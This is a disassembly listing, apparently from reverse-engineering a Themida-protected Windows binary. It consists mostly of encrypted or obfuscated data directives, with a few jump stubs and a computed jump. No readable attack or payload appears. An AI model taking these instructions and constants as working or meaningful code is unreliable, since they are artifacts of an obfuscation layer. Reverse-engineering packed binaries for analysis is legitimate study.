		db 6Fh,	9Fh, 0DCh
; ---------------------------------------------------------------------------
		mov	byte ptr [edx+6Ah], 0
		call	dword ptr [ebp+6152E21h]
		mov	eax, eax
		jmp	short loc_5D772A
; ---------------------------------------------------------------------------
		adc	al, 19h
		jmp	dword ptr [ebx-3]
; ---------------------------------------------------------------------------
		db 0D5h
		dd 0BD1B2B0Fh, 597F66A4h, 0EC11C499h, 0FE7193AEh, 0D080959Fh
		dd 0AEF161D2h, 8AC03EFEh, 3487B6FDh, 6CA03CBFh,	0B226667Dh
		dd 58E24713h, 0DEAE1156h, 0D6FBCD32h, 0F7BFB5F1h, 455A966Ah
		dd 0DE55DD3Eh, 8C1C9FAFh, 5352B0ACh, 0A1B4E01Ch, 0BBC41B24h
		dd 9FD30466h, 43DE2110h, 0A6D7AF86h, 0F220A487h, 0F4F69365h
		dd 7F905406h, 7DF8F143h, 4207F29Ah, 15F4DB56h
		db 46h,	72h
; ---------------------------------------------------------------------------


loc_5D772A:				; CODE XREF: Themida_:005D76ACj
		jmp	loc_5D7748
; ---------------------------------------------------------------------------
		db 0D4h
		dd 14939C9h, 7C809Eh, 4	dup(0)
; ---------------------------------------------------------------------------


loc_5D7748:				; CODE XREF: Themida_:loc_5D772Aj
		jmp	loc_5D84D2
; ---------------------------------------------------------------------------
		push	61ADEB6h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61ADFC1h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61AE14Ch
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61AE2C6h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61AE477h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61AE698h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61AE826h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61AE946h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 92h,	34h, 0C4h
		dd 0F7F0231h, 0CC3CB966h, 676FA29h, 0D242C06Fh,	6C276443h
		dd 28F79E0Eh, 71BE57C7h, 5DD2A313h, 3C876EDEh, 2F6EB312h
		dd 8C0D169Ch, 45864FB0h, 53C34049h, 274D6A63h, 6641C672h
		dd 4A75ABE0h, 27848565h, 11727FB7h, 4D8AD4A1h, 8AE08ACDh
		dd 770C2BEFh, 31B11686h, 48F8A248h, 4B7F4618h, 12169BB4h
		dd 6FAE1501h, 181693AAh, 8E1B2EA1h, 309DBD76h, 7A108003h
		dd 42CAh, 0BABDE00h, 0F04003DBh, 8D169BF5h, 0CA947ABCh
		dd 93F1D6FBh, 0E6849516h, 93F196B7h, 0FA6AC816h, 0D141A7BCh
		dd 8837DEE5h, 9548EF5Bh, 0BD1D49B4h, 0C9ECE99Dh, 0C838B8F0h
		dd 0DAE4C3EFh, 0C81430h, 24280000h, 525F57C7h, 970764F0h
		dd 9E89AE9Fh, 36CE2DACh, 273C7A55h, 4B35CC4h, 4B3AD32h
		dd 75F6EB2Bh, 291C3905h, 0D1B7BC00h, 5471FCEEh,	10861A38h
		dd 9263D330h, 68AE1E9Dh, 8FF23E02h, 926171Fh, 0F7CA8E35h
		dd 0E2B3169Ch, 0A3D3A313h, 8B17969Bh, 0F199B626h, 9A57D86Bh
		dd 0C5D61088h, 6DF2E3F9h, 8AEB4C55h, 0A79A3FAh,	92BD7724h
		dd 68AE1EA1h, 0B436F397h, 82B144h, 0C5980D90h, 654FB1BDh
		dd 0B3DDDh, 0EC5CDA00h,	27971A09h, 0F464E14Eh, 3EAE1221h
		dd 0FA6AC857h, 940F7C1Bh, 60CFA616h, 99866FDFh,	55CAAB1Bh
		dd 448F66D6h, 2C66AB1Ah, 8405169Ch, 56C624B8h, 0B21370BFh
		dd 86F2CE13h, 0B39CAD10h, 0BAB56E2h, 0F04003DBh, 8D169BF5h
		dd 9F947ABCh, 3C8EA919h, 521CCDB3h, 0B5D8C3A7h,	421693A9h
		dd 0DC61E8D7h, 7E9DBD74h, 0B54DB535h, 2BE9587Eh, 0B37D3FCh
		dd 0DCh, 0A3BE1441h, 7047B73Bh,	0FF834C06h, 99B6878Fh
		dd 0C72449F1h, 0F0525F57h, 8FC89680h, 4E09AF7Ah, 8635D5FAh
		dd 1086F076h, 8BA8096Ah, 817EB828h, 86FEFD24h, 80AF8010h
		dd 3A0C99BEh, 898D129Fh, 1E9D92E1h, 0B8A668AEh,	8660C40Dh
		dd 0C896A710h, 8660D4FDh, 0E4869710h, 5AE90AAEh, 10866037h
		dd 0F4CAE5B6h, 9C978951h, 0D2A37416h, 0DAE414E4h, 8B3CAF6Bh
		dd 617D4E10h, 7DC25874h, 92783F2Dh, 930367CCh, 5DCD2D02h
		dd 0BD7F35C0h, 3490A6B1h, 0A32h, 7C1989E5h, 43D242A7h
		dd 542191ECh, 0CE959DFh, 52239317h, 0D75B5655h,	1EA18E67h
		dd 0DC58C7AEh, 199A896Ch, 0D3FBCCA9h, 9C2D2970h, 2913D416h
		dd 8856C624h, 0B654C42Bh, 7BEB48D7h, 17AEB09Ah,	1086F2F2h
		dd 5AC2A879h, 8757C724h, 0F2ABEE55h, 62C51086h,	0E2614EF2h
		dd 0D4565D72h, 9B888664h, 0C0308C18h, 0E0A006EFh, 83B0AEB0h
		dd 0CBFA9000h, 169C1F57h, 0F61BAAB4h, 751693DCh, 0C1D2C6A4h
		dd 0DC2E6ED5h, 5ED91693h, 4C4FDA6Fh, 0D2D59DBDh, 0D3000006h
		dd 0D848A809h, 1D44E1DEh, 0E01693D4h, 0ABF71BCFh, 0AE03DB0Bh
		dd 0E64DE44Ch, 12C0B370h, 8DE8F93Dh, 0B24191Dh,	0B2FFDD5Fh
		dd 0D9B6E050h, 0B0E656DAh, 0F0902BDFh, 8D169CD7h, 2E91A2BCh
		dd 0E38778BEh, 783CA29h, 0C56C1693h, 12CA2F1Ah,	7E529DBEh
		dd 66000006h, 3DB0BABh,	9C1AEC40h, 76A07116h, 93DACE0Fh
		dd 33A32016h, 67AA1903h, 61693DAh, 0E7EFE35h, 5A7F4608h
		dd 211693DAh, 8D407910h, 923DF456h, 0BD4632B7h,	59DFD49Dh
		dd 64DFADE9h, 1693D23Dh, 2AC0EFC0h, 634FAh, 5CB20E00h
		dd 0ADB1E195h, 9BFB3216h, 4003D916h, 1693F819h,	8737D3E4h
		dd 99DDE8B6h, 169A8916h, 992C3262h, 84B63CF1h, 0FD6BAB7Ch
		dd 8E350939h, 8EA36717h, 28895566h, 90BA5BCBh, 6AAC1CA3h
		dd 0AE3D3F9Dh, 3E11C288h, 0D05CDF4Ch, 512C0373h, 1F9624C0h
		dd 0A7AD151Fh, 70000008h, 60CFA616h, 8FA471E1h,	48D7BE2Eh
		dd 869D78E8h, 0CAE1B424h, 0FC6CCEC1h, 35A50A19h, 171D360h
		dd 0CC3CBF74h, 15B09E29h, 169C13CCh, 4F4EEEAFh,	0C382E362h
		dd 1086F29Eh, 87634C5Dh, 7DB9298Ah, 9B2A4BEBh, 1086F276h
		dd 330B24F5h, 0A1CF4990h, 5B633416h, 3E824B7Ah,	0CF694EBEh
		dd 5934D626h, 9CA8615Ch, 72D35716h, 9CA88ED3h, 735C6D16h
		dd 7B654A43h, 0D8BD2D8Eh, 3D0131D2h, 9CA84B86h,	35613216h
		dd 0E75EBF3Ch, 169CA8A2h, 0DF667849h, 169CA8BAh, 0B65F7041h
		dd 2892C394h, 0F73A6C19h, 0F115A813h, 298B169Ch, 1694209Dh
		dd 0B09F70A6h, 0CFA68986h, 4373E360h, 6DDD5859h, 7B65429h
		dd 169CE1C6h, 3191A2ACh, 0FAD545A5h, 9136A910h,	0FC33C232h
		dd 2D2F0F7Fh, 0E1C24C28h, 7D286E8Dh, 169F8954h,	0AA640617h
		dd 9E79024Bh, 65D55416h, 39C54031h, 724B4BBBh, 0F79E595Dh
		dd 7B2A1BC8h, 7CB99E54h, 0CA0FB690h, 0B1169F5Fh, 0EE6BD7E0h
		dd 9EF3291h, 0BD8E169Fh, 5631C592h, 5B8B4274h, 910182AFh
		dd 150C004h, 4FDC0000h,	4571E162h, 1271A248h, 89AA74A2h
		dd 5DCEBC2Ch, 0CC276FDFh, 1086F285h, 0AEE858DBh, 0E571D3E0h
		dd 52381787h, 56689868h, 0A1CFAAEFh, 56EDEF16h,	169C2F33h
		dd 44DF8BAh, 0E7169C2Fh, 0AD11F9D6h, 266A019Ch,	7B79B7D0h
		dd 72DF7h, 1C8CEA00h, 0D747AA79h, 2494F13Eh, 0EE5EE251h
		dd 2A9A1807h, 645F4C4Bh, 30FF9606h, 69B65FCFh, 25FA9B0Bh
		dd 14BF56C6h, 10567B4Ah, 5415169Ch, 57C724E8h, 0E45F7D5Fh
		dd 1086F2BDh, 8E7B6F40h, 4AD9BC2Ch, 7A647AEAh, 86F286CBh
		dd 0ED5DD810h, 5B6CD4A9h, 0EC4FE4AFh, 0A0B5997Ch, 0BE3FFFDAh
		dd 0C19694Eh, 9A3A8BACh, 84AF61D1h, 5DC525E6h, 0D1147591h
		dd 53436CAAh, 2A6CDC5Eh, 248ACB8Fh, 0C45BC5A4h,	4E8138D2h
		dd 0EC89F979h, 0A91334B9h, 7BC97h, 0B5D00000h, 0BCh, 57C724D1h
		dd 3DC92A87h, 724B4BBBh, 2F64595Dh, 80AE5CCCh, 8702D805h
		dd 46792010h, 3920281h,	0E744D02Ch, 614E3F77h, 78D9545Dh
		dd 86E284CDh, 79566710h, 0A3B9A391h, 7CBA2A8Eh,	0E2FF2283h
		dd 0AD7E1086h, 0F8920266h, 86E281CDh, 0E454D710h, 0D040C1B2h
		dd 4BAAE9E6h, 31D8DBDBh, 37A2657Eh, 4DBD3F88h, 624F84A8h
		dd 65276FDFh, 86F2BBDEh, 5E714210h, 71FD7FACh, 8A979F0Fh
		dd 8F80B626h, 9A878FA0h, 0CD6CAA1Ah, 6ECEF9E4h,	8E9A17FEh
		dd 1E1086FAh, 62A71E40h, 91086FAh, 0D1635238h, 5F97A825h
		dd 0FFFFFE6Fh, 69D9545Dh, 0F2ABEE55h, 41521086h, 0AB571A9h
		dd 0D1000003h, 5F57C724h, 86F2C9E4h, 0C939BF10h, 0E858D4CDh
		dd 745BC2AEh, 0E3CA316Fh, 2E9E220Fh, 0B67317E8h, 330C535h
		dd 575F480h, 23133C11h,	86F20DA0h, 98008310h, 72BB7832h
		dd 989EB187h, 203E6E12h, 0A1DF7CA5h, 13949D16h,	0F09A73A3h
		dd 51EFFD0h, 62B7D016h,	57CF054h, 1B9B0000h, 0D455CAABh
		dd 23A29164h, 0EB4DE2B3h, 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh
		dd 6134A40Bh, 730272D2h, 26CF3FBCh, 0CF12B19Dh,	0AE169C16h
		dd 0C7244FEDh, 0F0525F57h, 9B980864h, 9C71A515h, 0EE4DE2B3h
		dd 2A88977Eh, 68AE1E9Eh, 657EB897h, 8CC99505h, 71E5C240h
		dd 907E6C33h, 0BA0DC0F9h, 562DD038h, 620043D0h,	0BF40714Dh
		dd 0E5D09B4Fh, 97A8CB58h, 238E0h, 56D5DE00h, 2BDFB0E6h
		dd 0DE0EAB07h, 0B6E1F6D8h, 0D34B35F1h, 629D08E2h, 0EB0F751Bh
		dd 4DB09944h, 0D3969807h, 211h,	0C20EABE7h, 0DEE0CF3Fh
		dd 86F22267h, 0BEF8C910h, 75F10437h, 7B62CD0Fh,	45B53A77h
		dd 1F8E7C51h, 96971D9Ah, 1E822h, 0EABF600h, 104500DEh
		dd 0E31086F2h, 0B9FAE4D2h, 0F3CCCA3Ah, 0F173AC17h, 95FC0F75h
		dd 1D9A1F2Ah, 0C2229697h, 0F6000001h, 0DE0EABh,	86F21445h
		dd 8D6E710h
		dd 35D545ABh, 9B1C15F7h, 7812EB2Bh, 75F1124Dh, 8934DB0Fh
		dd 971D3DC0h, 197C396h,	24D70000h, 525F57C7h, 0C6F481F1h
		dd 49FCC2F2h, 169BFB11h, 0E9F3CBDCh, 93FB375Ah,	5E5B616h
		dd 0FB61AC07h, 0A30E1693h, 27A00D3Ch, 4F289DBDh, 4000000h
		dd 73E3624Fh, 0E7494A43h, 591D9377h, 0F83EAE0Dh, 0AF162807h
		dd 169BF583h, 0FA6ACDBAh, 0F63861E4h, 0F2C31693h, 335AD9DDh
		dd 0BC1693F6h, 2B886A55h, 0F7B654C4h, 9DBD1E72h, 2A9A1F14h
		dd 0CB7713ECh, 0D1h, 1EE0D401h,	835C2805h, 624F33E7h, 8F7C6EDEh
		dd 697ABC2Ch, 8BFB7D09h, 17999AA4h, 0B99E6FA7h,	0E837E6F4h
		dd 0E14B3F14h, 46F7DAFBh, 39F47CF6h, 846649B9h,	82B42487h
		dd 0D3A21271h, 86369EEEh, 0C1319210h, 0E82D2A34h, 5E83420Dh
		dd 1D10866Ah, 0EF8A2B0Ch, 77477119h, 77FF0C4Fh,	23B285F5h
		dd 91AD8258h, 0EF3291CBh, 8E108697h, 67AF1FA1h,	0F2D1B996h
		dd 169EFFA4h, 397A4455h, 77AC49B9h, 940467F3h, 0FB82ADA2h
		dd 0B7D2F6CCh, 5B1DA58Fh, 0BC000003h, 0EC43D242h, 0AB781D8Dh
		dd 0E43BDA4Ah, 0B2811484h, 9615E050h, 0A8189A15h, 61D156CDh
		dd 0AD1D9F94h, 68D85BC8h, 0B1143A8Dh, 169C1468h, 24EA5213h
		dd 46B63AC6h, 0C5507F50h, 0F89D0D6Eh, 0E3624F34h, 0A04A4373h
		dd 76A01073h, 0E78EFE7Dh, 86F282CAh, 4D995D10h,	273C7AEAh
		dd 6D6254C4h, 8B516D42h, 6155C526h, 860D2774h, 4867CA4Eh
		dd 18ACF76h, 0A0711086h, 8CBDBCAh, 0CBE8169Bh, 0CFBDF969h
		dd 930E2D74h, 0D0FFD016h, 0E0B5863Ah, 57C7245Ch, 81F1525Fh
		dd 0CAF2C6F4h, 0A7CB6522h, 0A5203E67h, 1086847Ch, 3D012EFFh
		dd 9B8D5286h, 8EEE1B16h, 24128202h, 3D12042Bh, 7CA12412h
		dd 916938Dh, 0BF2A1F8Eh, 5F9DBD9Ch, 46B6347Dh, 9385BADFh
		dd 43704116h, 76474FBFh, 29A894h, 0B1A60000h, 6B7698D7h
		dd 74A8429Fh, 3DB0BABh,	9BF5F040h, 7ABC8D16h, 93F1D2FBh
		dd 0C9F49B16h, 0BD1CFD80h, 0C5839Dh, 24970000h,	525F57C7h
		dd 9D9680F0h, 7B68AE1Eh, 61ED88F8h, 9482F250h, 98F4CFBBh
		dd 901086F7h, 0FD32C333h, 0A2080E7Eh, 3590AEDEh, 169BF109h
		dd 2C7A1B2Ch, 52C2408Ch, 617B617Dh, 93FABFE2h, 266D3E16h
		dd 6A6353C3h, 95FD2580h, 9380108Bh, 0D0EEC131h,	72D25EE3h
		dd 143B1402h, 6FD3E076h, 0FF3416FFh, 330C0A7Ah,	0CC58DA57h
		dd 0CEB7FF6Fh, 8B38C6A9h, 0FE351A71h, 330C0A7Ah, 7548811Ch
		dd 1D17B1BEh, 1CD95h, 7CEC4A00h, 0B7278A99h, 84F451DEh
		dd 4EBE42F1h, 8AFA78A7h, 0C4FFACEBh, 101FF666h,	0C9563FAFh
		dd 51AFB6Bh, 745F36A6h,	1AB6DB6Ah, 0B435169Ch, 0DF624F88h
		dd 2C8E7B6Fh, 0E94AD9BCh, 0AB909C79h, 0D903DB0Bh, 0F2194003h
		dd 0D3571086h, 0FEECBD63h, 9BF5939Fh, 9D99AA16h, 0A00182AFh
		dd 93F1FC25h, 81AE7F16h, 0C89FB895h, 2C33571Bh,	588520CAh
		dd 251693C3h, 0A306436Ah, 439DBD4Bh, 0CF67AA19h, 35061693h
		dd 0D0E555h, 4FC10000h,	0C382E362h, 1086F29Eh, 33634C5Dh
		dd 0F2B7DA69h, 65361086h, 1073A04Ah, 5C09EA0h, 1086F2DCh
		dd 32DC8E9Fh, 6551C141h, 86F78EDEh, 99018210h, 624E1ADFh
		dd 96BB8A64h, 5510869Bh, 0B1446B44h, 0CD910182h, 0D3F6CD8Fh
		dd 9A10869Bh, 9BF51C89h, 0A7781086h, 1FDF49C3h,	0C874CFEFh
		dd 6D169B9Dh, 7D52C240h, 3E6E1298h, 77F53E20h, 4C3E0F07h
		dd 8BF2C671h, 9AA47510h, 2A8D1999h, 26E29DBAh, 98FE1D81h
		dd 0F151DEB7h, 40BDFC81h, 90A6B1BDh, 0AD34h, 9C0C6A00h
		dd 57C72AF9h, 0A41471BEh, 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh
		dd 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh, 943FD646h, 1BD6FBCAh
		dd 0D495169Ch, 56C62468h, 0A31370BFh, 0C72466D2h, 0F1525F57h
		dd 0F2C6F481h, 0D1E2FCC2h, 39160070h, 0CF2B7251h, 0F9CA16A1h
		dd 360DCFBDh, 169C2F13h, 246DD8DAh, 0C7169C2Fh,	0E1FED9F6h
		dd 0BDB2C055h, 991A17F3h, 54D74C29h, 0A653B2E4h, 4559B02Ah
		dd 5BD8EFDEh, 96150AEBh, 951B1826h, 6E1CF125h, 0DD4DB3C0h
		dd 0E151B001h, 81280B09h, 8AFA794Eh, 47B734EBh,	8F34Fh
		dd 4FC70000h, 7B6FDF62h, 0CA24A199h, 0E4475C5Ah, 0D3314274h
		dd 0B93E3363h, 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h
		dd 0EA4F6452h, 57783C7Ah, 0BE56E789h, 4, 835EF701h, 3C8704EFh
		dd 89525C24h, 4C281E2h,	83000000h, 148704EAh, 4895C24h
		dd 5DF26824h, 1C890000h, 6A73B824h, 0C0832766h,	5D8F7FFh
		dd 427D2C07h, 0B46C2935h, 359C3539h, 0B22D4D6Bh, 5469AEBAh
		dd 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 438F2404h, 2434FF08h
		dd 4C4815Bh, 8B000000h,	89522404h, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 93B4E95Ch, 0B9F4FFFAh
		db 1Dh,	8Ch
; ---------------------------------------------------------------------------


loc_5D84D2:				; CODE XREF: Themida_:loc_5D7748j
		mov	eax, 61AEA18h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 81h
		dd 2A646542h, 995E3236h, 0E94867EEh, 0ABh, 820E435h, 94h
		dd 5, 1, 0A28h,	2, 76726553h, 20656369h, 6B636150h, 3220h
		dd 20h dup(0)
		dd 0E9000000h, 0BA0h, 1AECF368h, 92DCE906h, 2F68FFFAh
		dd 0E9061AEEh, 0FFFA92D2h, 1AEF3D68h, 92C8E906h, 0B768FFFAh
		dd 0E9061AEFh, 0FFFA92BEh, 1AF10D68h, 92B4E906h, 6C68FFFAh
		dd 0E9061AF1h, 0FFFA92AAh, 1AF4CA68h, 92A0E906h, 9668FFFAh
		dd 0E9061AF5h, 0FFFA9296h, 20F565E1h, 573EAE13h, 18FD6DC8h
		dd 6035A50Bh, 16FF6FD3h, 13970A81h, 0DA5DD2A3h,	18948B6Ah
		dd 0D556CDA8h, 17479065h, 9C1965ACh, 0B5870816h, 5F57C724h
		dd 0BD81F152h, 0E684F474h, 2F5F1F87h, 0FB7CB40Fh, 3001169Bh
		dd 33A3052Eh, 0B6600A03h, 93FB0E4Fh, 73E36016h,	0A7EA5943h
		dd 461693FBh, 4CBC3E75h, 913CED4Ah, 8E41F852h, 0BD272EBBh
		dd 2AB69Dh, 0ABD20000h,	0AE03DB0Bh, 0C4DDD949h,	31D9F666h
		dd 0F598982Bh, 94A5169Bh, 0F1FA23A2h, 0C831693h, 1D45A8A1h
		dd 0D7CB9DBDh, 0DF000000h, 8757C724h, 0B555C52Ah, 0A0086A77h
		dd 2C976EEDh, 1086DDE5h, 0F3A0B788h, 0C4417262h, 263B7B54h
		dd 288955C5h, 0BADF66C7h, 4110868Dh, 66575F70h,	1A998A84h
		dd 38E6CBAAh, 5F108689h, 7683C67Dh, 3D6A1086h, 734C4ABAh
		dd 9EC3825Ch, 5D108676h, 0E6D9E4Ch, 0CB28F79Eh,	0E752835Bh
		dd 13360D32h, 0DA108608h, 430EEEC9h, 0AF39F397h, 44FFDF0Fh
		dd 169C7B9Ch, 0F5C55061h, 764D1141h, 108B0DB5h,	0D6DBE3B4h
		dd 2211E454h, 256D30A0h, 3EB1BDF5h, 96FBC38h, 97170000h
		dd 60E14E27h, 0AF0E25F0h, 67C9563Fh, 0B1111EF7h, 0B4F7B441h
		dd 6C0979F9h, 35C030B7h, 670E7EFEh, 2ACB3BB8h, 0CB0EB599h
		dd 0B2169C1Eh, 0C6240B31h, 1370BF56h, 2B88D2A3h, 6E5F57C7h
		dd 0BAB987Ch, 0F04003DBh, 8D169BF5h, 0CA947ABCh, 93F1D6FBh
		dd 0E6849516h, 93F196B7h, 5B85F16h, 0BD1CB944h,	1173F9Dh
		dd 5F7D0000h, 93FDBDE4h, 2267DE16h, 0C91693FDh,	677748F8h
		dd 93FDB5DCh, 83673816h, 57C7248Fh, 80F0525Fh, 56BC896h
		dd 0F2F821A4h, 0B2831086h, 10CEED9Dh, 5C1086F6h, 0C4866FDFh
		dd 0ED9D0D6Fh, 0FA57BF3Ch, 474F5DFh, 921A3D12h,	223C13B5h
		dd 724AD335h, 0E95CC874h, 108607A0h, 0B5557A4Bh, 1D4DF177h
		dd 2494F041h, 0E76D1DF2h, 9CF0B45Ch, 58DAD716h,	0DD1AEE8h
		dd 90FA1336h, 21C9DA16h, 0E1C9AC7Dh, 0FF6FD11Dh, 75D00ED0h
		dd 1690FA2Ch, 0FAB3D66Dh, 693A1690h, 3204E6B7h,	7B092B2Ch
		dd 0EA624BA0h, 0B6F5A500h, 0B7881088h, 0B9298AA7h, 18B7807Dh
		dd 160AB777h, 3E73C9A1h, 7AA94CBCh, 0E52C97F8h,	881CAB69h
		dd 0B70598B7h, 0B0B1BD96h, 8333EC6h, 0F3530000h, 0BC3DF283h
		dd 0FB7AA94Ch, 0B335EA8Bh, 0FD7DB243h, 0F8B3E88Dh, 20F565C5h
		dd 593CAC13h, 1BFA6ACAh, 5E37A704h, 0B7DA6975h,	36169C1Ch
		dd 624F87B5h, 9B9872E2h, 8CCEA717h, 0B555C527h,	0EE87F774h
		dd 57C7244Ah, 81F1525Fh, 0FD249FBDh, 801086F2h,	2E5088AFh
		dd 2C59BFDh, 0D99D0D68h, 2E2E95A9h, 4F16A13Eh, 0F053607Eh
		dd 79D0F580h, 0A2169D3Fh, 3CC009BCh, 0A2AB169Dh, 98FC1B7Dh
		dd 402A05ADh, 0DF5DA95Ah, 0CB5406Fh, 2149ED04h,	71BFA63Ch
		dd 0B787A821h, 8075040Ch, 0BF3C6910h, 279E604Fh, 0A87F7127h
		dd 8E508040h, 6056C625h, 0ADF44F6Fh, 508F7F62h,	93C98B7Fh
		dd 0BEAC1C9Eh, 658ACFDFh, 53F2EC89h, 0B6884A0Eh, 4302DCEDh
		dd 0B6884A1Eh, 7A1ECCDDh, 3BFB6DA9h, 4A66AB1Ah,	3405B688h
		dd 8180431Bh, 7AB091DCh, 4A4CBC39h, 10219575h, 0FA86E54Eh
		dd 1B8BED79h, 220D0234h, 0EF5FDC53h, 0C4062E0Eh, 2B87AD11h
		dd 725h, 0A075E561h, 0D7BE2E93h, 987DED48h, 0E0B5258Bh
		dd 967FEF53h, 93178A01h, 5ADD5223h, 98140BEAh, 55D64D28h
		dd 97C710E5h, 9C1DE52Ch, 35078816h, 3DB0BABh, 0A1DCDC40h
		dd 90F23F16h, 45564A20h, 49B93879h, 53986075h, 1A339025h
		dd 9C3E66ABh, 1B340516h, 0AA0F246Fh, 2112FC3Ah,	3CAC139Fh
		dd 0D2A05FAh, 657EF0EFh, 0DD4E3C55h, 290FEE5Eh,	0B6B7D0C2h
		dd 6AB44C0h, 5BDB0000h,	94150AEBh, 63E25124h, 0AB0D22F3h
		dd 65C55A3Bh, 8B20F5h, 0D8BD2D8Dh, 0A174E44Bh, 33C23292h
		dd 660F7FFCh, 8FD2715Dh, 6E169C1Dh, 0BAB8FADh, 0DC4003DBh
		dd 0A116A1DCh, 18FD249Fh, 0AF80169Ch, 25A0BE80h, 169C18FCh
		dd 0A31D8DF2h, 4D66F892h, 0B3977EEEh, 18F71AA9h, 0B114169Ch
		dd 169C1868h, 8D9E0213h, 0D606B3DDh, 18603D08h,	0B6E3169Ch
		dd 0FBD4C232h, 3B63E2D4h, 0C4169C18h, 82E7624Dh, 0A9DC308h
		dd 48h,	0DE0EAB1Eh, 0F2104500h,	0D2E31086h, 0DCADCB0Ch
		dd 13598043h, 13241086h, 5D37C044h, 6890417Ah, 36D442F1h
		dd 9E1D16F8h, 3C613C2Eh, 0C91086A8h, 7FEA5F4Eh,	1F97A878h
		dd 4D3DAD12h, 7EDh, 0F0B5C900h,	0D1000001h, 93B68D4Fh
		dd 5A1086F2h, 10FEA149h, 6ED11DE1h, 0DDF262E2h,	0F3CBE4D9h
		dd 0FB6BC8E9h, 7D28C2BBh, 169BFB95h, 8C37C7D8h,	0C624ABFFh
		dd 0C698C878h, 23A3AFFFh, 999DAEA3h, 0F71AA9B3h, 76AB5213h
		dd 2BCBC5A5h, 0E160E3FBh, 7CAD4B85h, 93C993ABh,	0FAAB1B9Eh
		dd 0D16BA1D7h, 24E58596h, 2A8757C7h, 705E58C8h,	6BA18CD5h
		dd 715E6FD1h, 6350FA99h, 484571E1h, 0A21271A2h,	0FDDEEFDBh
		dd 8202F4FBh, 555h, 9065D531h, 0C7AE1EA3h, 886DDD58h, 0D0A5159Bh
		dd 866FDF63h, 0C3279A11h, 0A6DC253h, 0C824FB9Ah, 566BD58h
		dd 7D70095h, 9C03153Ch,	2517D816h, 5F57C724h, 0E9F525D9h
		dd 9BFC5A5Ah, 2BCADB16h, 9ABD361Fh, 481CDD1Ch, 0F70EA86Fh
		dd 0AF5BD644h, 0C910182h, 0B7D55716h, 0F65FE3D1h, 90000004h
		dd 2FC636h, 0AF841181h,	0E837DE4Eh, 0A67D1888h,	6A41D444h
		dd 9C0C6E21h, 55C52AF9h, 0A11173C0h, 6CDC5FD4h,	0B5103E89h
		dd 169C036Ch, 4FAE8E0Fh, 4670E062h, 1370A149h, 2C19BA3h
		dd 1086F2DFh, 2FDD8D9Eh, 8D51C142h, 6056C624h, 0F6917B6Fh
		dd 86CB7A64h, 651086F2h, 0D4FBB654h, 15F6391Eh,	8A023335h
		dd 60D033E0h, 599D2095h, 492397A8h, 19000000h, 1C90893Ch
		dd 0FEEC9671h, 0E1624F16h, 5F1F9971h, 10B40F2Fh, 25169BFBh
		dd 7AA32214h, 6C1693FBh, 0A872A911h, 68277DD9h,	0DD624F47h
		dd 2280C97Ch, 5A6B1693h, 46AD4175h, 33DE4C97h, 0EA30BD8Ch
		dd 50B89DBDh, 0D4000000h, 3DB0BABh, 0F2276AD9h,	0F5C61086h
		dd 0BB843F15h, 0BA169C41h, 0AA07D5E9h, 31D949h,	41841181h
		dd 1693A21Dh, 4588F053h, 98DAE813h, 0E4FAC4EBh,	93573861h
		dd 18F2C316h, 0D343A67Dh, 0B250CA0Bh, 5166D655h, 9971B152h
		dd 3EB179Bh, 4FF30000h,	0F293B68Dh, 495A1086h, 1747F7A1h
		dd 0F6D87C47h, 9B9D169Bh, 93F6E128h, 9CBB8C16h,	0CF76E8F7h
		dd 0CDC9E6B2h, 0AFE757D4h, 0ED05B83Fh, 480D54EFh, 0CA871693h
		dd 0ECA0E944h, 0DE8C9D03h, 0AD404B4h, 942071CDh, 4F3BE4A2h
		dd 0C80DCF0Dh, 1EE6F8C7h, 0EB2E9786h, 921693FDh, 1ABAE981h
		dd 0DB108EF9h, 77F42BCAh, 84D0F07h, 834C7FA1h, 4A701A0Ch
		dd 0CD784676h, 1AB6914Dh, 12820330h, 1F30A021h,	1BA70A17h
		dd 1CF12595h, 8AEE0333h, 1D841C1Ah, 0A51431B2h,	0BE2E8D3Ah
		dd 0FF2FCFD7h, 0B65464DFh, 0BCE904A3h, 0DDE1CE3Eh, 6E454D4h
		dd 0AD184608h, 8D23664h, 0D7543607h, 0FC6CC854h, 0ACEAC5BAh
		dd 856D60C9h, 0BF42CE2Ch, 5976474Fh, 73707B1h, 0C22C8C37h
		dd 40510EC8h, 8DFD7EB5h, 930380B1h, 0C6243DF7h,	2ABBDE65h
		dd 71420EEFh
		dd 61C8585Eh, 6ADA596Eh, 2B5B1B8Bh, 0D1A0B013h,	0CCDD08F5h
		dd 0EA5AD9CAh, 0AC05C9ACh, 0E5DADC4Ch, 2B238A05h, 59835B8Bh
		dd 299C083h, 626434F8h,	0F802BEE3h, 436C3D34h, 0F91CFCA7h
		dd 506132E2h, 9D0D6EC5h, 0CA2B8899h, 12FAD6FBh,	0B384953Ah
		dd 11DB357Ch, 9FBF900Dh, 0D3C33392h, 0D98510FAh, 0F0FBBDFCh
		dd 96744F51h, 122C5C1Ch, 0FA97FB3h, 0E92DFE3Ch,	2FA9438Ah
		dd 5A852C20h, 0A4149B98h, 0BEED9D72h, 0C851793Bh, 0E656D6DBh
		dd 0F2BDFB0h, 29h, 0DB0BAB2Bh, 0F5F04003h, 0BC8D169Bh
		dd 7BC3947Ah, 1718C225h, 8BD2F199h, 74169358h, 0B23712BDh
		dd 3A9DBDC3h, 0E9h, 57C7244Eh, 80F0525Fh, 2F96C896h, 1086F2EAh
		dd 29EA8091h, 475C5ACAh, 0DEE97CE4h, 9199CBCh, 0B4724F26h
		dd 0B8108655h, 0F52ACB3Bh, 1686EA76h, 630A01Dh,	8AF02609h
		dd 0A7086AB6h, 8655F51Ch, 88A77810h, 0C09EB18Eh, 9B533905h
		dd 0CB733C16h, 2EA6F203h, 1945D0FFh, 0E5598043h, 13241693h
